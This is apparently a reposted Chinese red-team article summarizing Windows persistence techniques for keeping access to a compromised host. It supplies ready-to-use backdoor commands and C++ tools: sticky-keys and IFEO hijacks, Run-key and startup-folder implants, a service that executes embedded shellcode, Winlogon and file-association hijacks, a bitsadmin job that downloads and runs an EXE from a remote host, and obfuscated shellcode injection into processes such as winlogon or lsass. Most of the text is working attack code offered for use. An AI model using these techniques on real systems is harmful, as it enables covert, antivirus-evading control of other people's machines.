|
原文链接:干货 | 最全Windows权限维持总结(上)
0x01 前言红队人员拿到一台主机权限后首先会考虑将该机器作为一个持久化的据点,种植一个具备持久化的后门,从而随时可以连接该被控机器进行深入渗透。通俗的说抓到一条鱼,不能轻易放走了。
0x02 辅助功能镜像劫持 为了使电脑更易于使用和访问,Windows 添加了一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征,一些恶意软件无需登录到系统,通过远程桌面协议就可以执行恶意代码。比如最常见的按5下shift出现的粘滞键Sethc.exe,还有Windows + U组合键时启动的utilman.exe程序还有:- 屏幕键盘:C:\Windows\System32\osk.exe
- 放大镜:C:\Windows\System32\Magnify.exe
- 旁白:C:\Windows\System32\Narrator.exe
- 显示切换器 C:\Windows\System32\DisplaySwitch.exe
- 应用切换器:C:\Windows\System32\AtBroker.exe
复制代码
在较早的 Windows 版本,只需要进行简单的二进制文件替换,比如经典的shift后门是将C:\Windows\System32\sethc.exe替换为cmd.exe。windows 2003,XP可以可视化界面更换也可以命令行:- copy c:\windows\system32\sethc.ex c:\windows\system32\sethc1.exe
- copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
复制代码
更高版本
我们需要用到IFEO,即映像劫持
什么是IFEO
所谓的IFEO就是Image File Execution Options,直译过来就是映像劫持。它又被称为“重定向劫持”(Redirection Hijack),它和“映像劫持”(Image Hijack,或IFEO Hijack)只是称呼不同,实际上都是一样的技术手段。白话来讲就是做某个操作的时候被拦截下来,干了别的事。
当我们双击运行程序时,系统会查询该IFEO注册表,如果发现存在和该程序名称完全相同的子键,就查询对应子健中包含的“debugger”键值名,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。这样成功执行的是遭到“劫持”的虚假程序。
可视化修改
在iexplorer.exe中加入键值对:debugger c:\windows\system32\cmd.exe
命令行修改
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
当然,需要管理员权限
0x03 启动项/服务后门
开始菜单启动项
开始菜单启动项,指示启动文件夹的位置,具体的位置是“开始”菜单中的“所有程序”-“启动”选项:
C:\Users\SD\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
相关键值
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
复制代码
重启后自启
由于每台电脑的快速启动目录不同,可以代码实现
- #include <iostream>
- #include <windows.h>
- #include <shlobj.h>
- #pragma comment(lib, "shell32.lib")
- BOOL AutoRun_Startup(CHAR* lpszSrcFilePath, CHAR* lpszDestFileName)
- {
- BOOL ret = false;
- CHAR szStartPath[MAX_PATH] = { 0 };
- CHAR szDestFilePath[MAX_PATH] = { 0 };
- //返回快速启动目录路径到szStartPath
- ret = ::SHGetSpecialFolderPathA(NULL, szStartPath,CSIDL_STARTUP,TRUE);
- //判断是否获取成功
- if (ret == TRUE)
- {
- printf("[+]Get the quick start directory successfully!\n");
- }
- else
- {
- printf("[!]Get the quick start directory faild!\n");
- return FALSE;
- }
- //构造文件在快速启动目录下的路径
- ::wsprintfA(szDestFilePath,"%s\\%s",szStartPath,lpszDestFileName);
- //复制文件到快速启动目录下
- ret = ::CopyFileA(lpszSrcFilePath, szDestFilePath, FALSE);
- if (FALSE == ret)
- {
- printf("[!]Failed to save the file in the quick start directory.\n");
- return FALSE;
- }
- else
- {
- printf("[!]Successfully to save the file in the quick start directory.\n");
- }
- printf("[+]Backdoor generation in quick start directory successful!\n");
- return TRUE;
- }
- int main(int argc, char* argv[])
- {
- printf("[*]Useage:\n %s %s %s\n", "Run_StartUp.exe", "E:\\010Editor\\010 Editor\\010Editor.exe", "010Editor.exe");
- if (argc == 3)
- {
- AutoRun_Startup(argv[1], argv[2]);
- }
- else
- {
- printf("[!]Please check the number of your parameters\n");
- }
- }
复制代码
启动项注册表后门
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
复制代码
值得注意的是,HKEY_CURRENT_USER的改动不需要管理员权限
自己写的一个小工具
代码不多,也比较简单,还是分享出来:
- #include <iostream>
- #include <windows.h>
- BOOL Reg_CurrentUser(const char* lpszFileName,const char* lpszValueName)
- {
- //定义一个注册表句柄
- HKEY hKey;
- //打开注册表键
- if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey))
- {
- printf("[+] Open RegKey Successfully\n");
- }
- else
- {
- printf("[!] Open RegKey Error\n");
- return FALSE;
- }
- if (ERROR_SUCCESS == ::RegSetValueExA(hKey, lpszValueName, 0, REG_SZ, (BYTE*)lpszFileName, (1 + ::lstrlenA(lpszFileName))))
- {
- printf("[+] Set Value Successfully\n");
- }
- else
- {
- ::RegCloseKey(hKey);
- printf("[!] Set Value Error\n");
- return FALSE;
- }
- printf("[+] The registry backdoor about HKEY_CURRENT_USER is generated successfully\n");
- ::RegCloseKey(hKey);
- return TRUE;
- }
- int main(int argc, char* argv[])
- {
- printf("[*]Useage:\n %s %s %s\n","ModifyReg.exe","E:\\010Editor\\010 Editor\\010Editor.exe", "010Editor");
- if (argc == 3)
- {
- Reg_CurrentUser(argv[1], argv[2]);
- }
- else
- {
- printf("[!]Please check the number of your parameters\n");
- }
- }
复制代码
而更改HKEY_LOCAL_MACHINE却是需要管理员权限
重启后exe会自启,不一定是cmd程序,可以换成我们自己的马,达到维持权限的效果
使用命令行
修改HKLM
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "123" /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
同样需要管理员权限,代码跟上面差不多
HKEY_CURRENT_USER同理,但不需要管理员权限
自启动服务后门
在 Windows上还有一个重要的机制,也就是服务。服务程序通常默默的运行在后台,且拥有 SYSTEM 权限,非常适合用于后门持久化。我们可以将 EXE /DLL等可执行文件注册为服务实现后门持久化。
可以通过如下命令行方式添加一个服务
- sc create "SD" binpath= "C:\Users\SD\Desktop\test.exe"
- sc description "SD" "description" 设置服务的描述字符串
- sc config "SD" start= auto 设置这个服务为自动启动
- net start "SD" 启动服务
复制代码 也可以直接编写一个服务,穿插着shellcode上线
- #include <windows.h>
- #include <iostream>
- unsigned char buf[] ="\xfc\xe8\x89\x00\x00...............................................\x36\x38\x2e\x31\x2e\x31\x30\x36\x00\x12\x34\x56\x78";
- #define SLEEP_TIME 5000 /*间隔时间*/
- #define LOGFILE "C:\\Windows\\log1.txt" /*信息输出文件*/
- SERVICE_STATUS ServiceStatus; /*服务状态*/
- SERVICE_STATUS_HANDLE hStatus; /*服务状态句柄*/
- void ServiceMain(int argc, char** argv);
- void CtrlHandler(DWORD request);
- int InitService();
- int main(int argc, CHAR* argv[])
- {
- WCHAR WserviceName[] = TEXT("sddd");
- SERVICE_TABLE_ENTRY ServiceTable[2];
- ServiceTable[0].lpServiceName = WserviceName;
- ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
- ServiceTable[1].lpServiceName = NULL;
- ServiceTable[1].lpServiceProc = NULL;
- StartServiceCtrlDispatcher(ServiceTable);
- return 0;
- }
- int WriteToLog(const char* str)
- {
- FILE* pfile;
- fopen_s(&pfile, LOGFILE, "a+");
- if (pfile == NULL)
- {
- return -1;
- }
- fprintf_s(pfile, "%s\n", str);
- fclose(pfile);
- return 0;
- }
- /*Service initialization*/
- int InitService()
- {
- CHAR Message[] = "Monitoring started.";
- OutputDebugString(TEXT("Monitoring started."));
- int result;
- result = WriteToLog(Message);
- return(result);
- }
- /*Control Handler*/
- void CtrlHandler(DWORD request)
- {
- switch (request)
- {
- case SERVICE_CONTROL_STOP:
- WriteToLog("Monitoring stopped.");
- ServiceStatus.dwWin32ExitCode = 0;
- ServiceStatus.dwCurrentState = SERVICE_STOPPED;
- SetServiceStatus(hStatus, &ServiceStatus);
- return;
- case SERVICE_CONTROL_SHUTDOWN:
- WriteToLog("Monitoring stopped.");
- ServiceStatus.dwWin32ExitCode = 0;
- ServiceStatus.dwCurrentState = SERVICE_STOPPED;
- SetServiceStatus(hStatus, &ServiceStatus);
- return;
- default:
- break;
- }
- /* Report current status */
- SetServiceStatus(hStatus, &ServiceStatus);
- return;
- }
- void ServiceMain(int argc, char** argv)
- {
- WCHAR WserviceName[] = TEXT("sddd");
- int error;
- ServiceStatus.dwServiceType =
- SERVICE_WIN32;
- ServiceStatus.dwCurrentState =
- SERVICE_START_PENDING;
- /*在本例中只接受系统关机和停止服务两种控制命令*/
- ServiceStatus.dwControlsAccepted =
- SERVICE_ACCEPT_SHUTDOWN |
- SERVICE_ACCEPT_STOP;
- ServiceStatus.dwWin32ExitCode = 0;
- ServiceStatus.dwServiceSpecificExitCode = 0;
- ServiceStatus.dwCheckPoint = 0;
- ServiceStatus.dwWaitHint = 0;
- hStatus = ::RegisterServiceCtrlHandler(
- WserviceName,
- (LPHANDLER_FUNCTION)CtrlHandler);
- if (hStatus == (SERVICE_STATUS_HANDLE)0)
- {
- WriteToLog("RegisterServiceCtrlHandler failed");
- return;
- }
- WriteToLog("RegisterServiceCtrlHandler success");
- /* Initialize Service */
- error = InitService();
- if (error)
- {
- /* Initialization failed */
- ServiceStatus.dwCurrentState =
- SERVICE_STOPPED;
- ServiceStatus.dwWin32ExitCode = -1;
- SetServiceStatus(hStatus, &ServiceStatus);
- return;
- }
- LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- memcpy(Memory, buf, sizeof(buf));
- ((void(*)())Memory)();
- /*向SCM 报告运行状态*/
- ServiceStatus.dwCurrentState =
- SERVICE_RUNNING;
- SetServiceStatus(hStatus, &ServiceStatus);
- /*do something you want to do in this while loop*/
- MEMORYSTATUS memstatus;
- while (ServiceStatus.dwCurrentState ==
- SERVICE_RUNNING)
- {
- char buffer[16];
- GlobalMemoryStatus(&memstatus);
- int availmb = memstatus.dwAvailPhys / 1024 / 1024;
- sprintf_s(buffer, 100, "available memory is %dMB", availmb);
- int result = WriteToLog(buffer);
- if (result)
- {
- ServiceStatus.dwCurrentState = SERVICE_STOPPED;
- ServiceStatus.dwWin32ExitCode = -1;
- SetServiceStatus(hStatus,
- &ServiceStatus);
- return;
- }
- Sleep(SLEEP_TIME);
- }
- WriteToLog("service stopped");
- return;
- }
复制代码
这其实也是psexec的原理:建立连接后创建服务反弹shell
删除服务:
sc delete "SD"
0x04 系统计划任务后门
Windows实现定时任务主要有schtasks与at二种方式:
At 适用于windows xp/2003,Schtasks适用于win7/2008或者以后
每五分钟执行一次
schtasks /create /sc minute /mo 5 /tn "sd" /tr C:\Windows\System32\cmd.exe
0x05 DLL劫持
DLL劫持漏洞之所以被称为漏洞,还要从负责加载DLL的系统API LoadLibrary 来看。熟悉Windows代 码的同学都知道,调⽤ LoadLibrary 时可以使⽤DLL的相对路径。这时,系统会按照特定的顺序搜索⼀ 些⽬录,以确定DLL的完整路径。根据MSDN⽂档的约定,在使⽤相对路径调⽤ LoadLibrary (同样适 ⽤于其他同类DLL LoadLibraryEx,ShellExecuteEx等)时,系统会依次从以下6个位置去查找所需要的 DLL⽂件(会根据SafeDllSearchMode配置⽽稍有不同)。
- 程序所在⽬录。
- 加载 DLL 时所在的当前⽬录。
- 系统⽬录即 SYSTEM32 ⽬录。
- 16位系统⽬录即 SYSTEM ⽬录。
- Windows⽬录。
- PATH环境变量中列出的⽬录
dll劫持就发⽣在系统按照顺序搜索这些特定⽬录时。只要⿊客能够将恶意的DLL放在优先于正常DLL所在的⽬录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”。
在win7及win7以上系统增加了KnownDLLs保护,需要在如下注册表下添加dll才能顺利劫持:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls
关于dll劫持的文章有很多,也需要去挖掘,这里推荐一篇文章入门,也是本人写的:https://www.cnblogs.com/punished/p/14715771.html
0x06 Winlogon用户登录初始化
winlogon.exe是windows中非常重要的进程,在用户还没登录系统之前就已经存在,并与密码验证相关的重要任务精密相关。例如,当在用户登录时,Winlogon 进程负责将用户配置文件加载到注册表中:
- HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\
- HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
复制代码
对这些注册表项的恶意修改可能导致 Winlogon 加载和执行恶意 DLL 或可执行文件。
命令行:
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\cmd.exe," /f
可以powershell一句话更改
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,C:\Windows\system32\cmd.exe"
0x07 Logon Scripts后门
Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
注册表位置:
HKEY_CURRENT_USER\Environment
增加键值对
0x08 文件关联
文件关联就是将一种类型的文件与一个可以打开它的程序建立起一种依存关系,一个文件可以与多个应用程序发生关联。可以利用文件的"打开方式"进行关联选择。
我们可以用assoc命令显示或修改文件扩展名关联,我们可以看一下.txt文件的关联。
用ftype命令显示或修改用在文件扩展名关联中的文件类型。
修改\HKEY_CLASS_ROOT\txtfile\shell\open\command的默认值为我们要执行的程序
修改注册表(管理员权限):
reg add "HKCR\txtfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "C:\Windows\system32\cmd.exe %1" /f
再打开txt文件打开的是cmd
0x09 Bitsadmin
Windows操作系统包含各种实用程序,系统管理员可以使用它们来执行各种任务。这些实用程序之一是后台智能传输服务(BITS),它可以促进文件到Web服务器(HTTP)和共享文件夹(SMB)的传输能力。Microsoft提供了一个名为“ bitsadmin ” 的二进制文件和PowerShell cmdlet,用于创建和管理文件传输。
window7以上自带
.\bitsadmin.exe /transfer backdoor /download /priority high "http://192.168.1.106/CM.EXE" C:\1.exe
将文件放入磁盘后,可以通过从“ bitsadmin ”实用程序执行以下命令来实现持久性。
- 在创建参数需要作业的名称
- 该addfile需要文件的远程位置和本地路径
- 该SetNotifyCmdLine将执行的命令
- 所述SetMinRetryDelay定义时间回调(秒)
- 该简历参数将运行位工作。
- bitsadmin /create backdoor
- bitsadmin /addfile backdoor "http://192.168.1.106/CM.EXE" "C:\1.exe"
- bitsadmin /SetNotifyCmdLine backdoorC:\1.exe NUL
- bitsadmin /SetMinRetryDelay "backdoor" 60
- bitsadmin /resume backdoor
复制代码
这里只是随便找了个exe测试,如果是c2的马的化可以直接上线
0x10 进程注入
之所以把注入也放到权限维持来说,因为注入更加隐蔽,尤其是拿到高权限后,难以被发现
如果是user权限可以考虑注入exploer.exe 如果是system权限则可以注入winlogon或者lassa
记一次实战中的注入,这里是我自己写的小工具
关于dll注入网上已经有很多教程,包括突破session 0,使用ZwCreateThreadEx创建一个线程
同样还有shellcode注入
一个demo
- DWORD CeatRemoThread(DWORD pid)
- {
- HANDLE hThread;
- DWORD dwOldProtect;
- DWORD dwThreadId;
- int shellcode_size = sizeof(buf);
- //混淆
- char* newBuf;
- decrypt(buf, shellcode_size, (LPVOID*)&newBuf);
- HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
- if (hHandle == NULL)
- {
- printf("openprocessError");
- free(newBuf);
- return FALSE;
- }
- LPVOID Memory = VirtualAllocEx(hHandle, NULL, sizeof(newBuf) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
- SIZE_T dwSize = 0;
- WriteProcessMemory(hHandle, Memory, newBuf, shellcode_size / 3, &dwSize);
- //Sleep(3000);
- VirtualProtectEx(hHandle, Memory, shellcode_size / 3, PAGE_EXECUTE, &dwOldProtect);
- HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
- if (hNtdll == NULL)
- {
- printf("[!] LoadNTdll Error,Error is:%d\n", GetLastError());
- return FALSE;
- }
- else
- {
- printf("[*] Load ntdll.dll Successfully!\n");
- }
- #ifdef _WIN64
- typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
- PHANDLE ThreadHandle,
- ACCESS_MASK DesiredAccess,
- LPVOID ObjectAttributes,
- HANDLE ProcessHandle,
- LPTHREAD_START_ROUTINE lpStartAddress,
- LPVOID lpParameter,
- ULONG CreateThreadFlags,
- SIZE_T ZeroBits,
- SIZE_T StackSize,
- SIZE_T MaximumStackSize,
- LPVOID pUnkown
- );
- #else
- typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
- PHANDLE ThreadHandle,
- ACCESS_MASK DesiredAccess,
- LPVOID ObjectAttributes,
- HANDLE ProcessHandle,
- LPTHREAD_START_ROUTINE lpStartAddress,
- LPVOID lpParameter,
- BOOL CreateSuspended,
- DWORD dwStackSize,
- DWORD dw1,
- DWORD dw2,
- LPVOID pUnkown
- );
- #endif
- typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
- ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
- if (ZwCreateThreadEx == NULL)
- {
- printf("[!] Get ZwCreateThreadEx Address Error,Error is:%d\n", GetLastError());
- return FALSE;
- }
- else
- {
- printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %x\n", ZwCreateThreadEx);
- }
- HANDLE hRemoteThread = NULL;
- DWORD ZwRet = 0;
- ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hHandle,
- (LPTHREAD_START_ROUTINE)Memory, NULL, 0, 0, 0, 0, NULL);
- if (hRemoteThread == NULL)
- {
- printf("[!] Creat RemoteThread Error,Error is:%d\n", GetLastError());
- getchar();
- VirtualFreeEx(hHandle, Memory, 0, MEM_RELEASE);
- CloseHandle(hHandle);
- FreeLibrary(hNtdll);
- return FALSE;
- }
- WaitForSingleObject(hRemoteThread, INFINITE);
- return TRUE;
- }
复制代码
|
|